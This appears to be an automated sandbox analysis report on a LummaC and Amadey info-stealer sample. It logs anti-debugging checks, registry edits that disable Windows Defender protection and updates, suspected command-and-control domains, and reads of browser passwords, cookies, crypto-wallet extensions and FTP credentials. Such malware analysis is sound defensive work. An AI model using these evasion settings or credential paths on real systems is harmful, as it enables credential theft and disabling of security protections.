Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Code function: 5_2_00672645 rdtsc

5_2_00672645

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Code function: 5_2_004DB978 LdrInitializeThunk,

5_2_004DB978

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2167403589.00000000047A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: skotes.exe, skotes.exe, 00000008.00000002.3007025861.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe, 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: TProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2742327572.00000000052AF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850372473.00000000052B0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2742172958.00000000052A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2734527352.00000000052AF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3006111132.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2924003746.0000000005500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2967313424.0000000000F21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3006807821.0000000000831000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2965064761.0000000004840000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2965815097.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2851179622.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2851179622.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.2200194151.0000000005297000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Chrome/Default/Extensions/Jaxx Liberty"
Source: file.exe, 00000000.00000003.2851179622.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2730513939.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2851179622.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2592869556.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
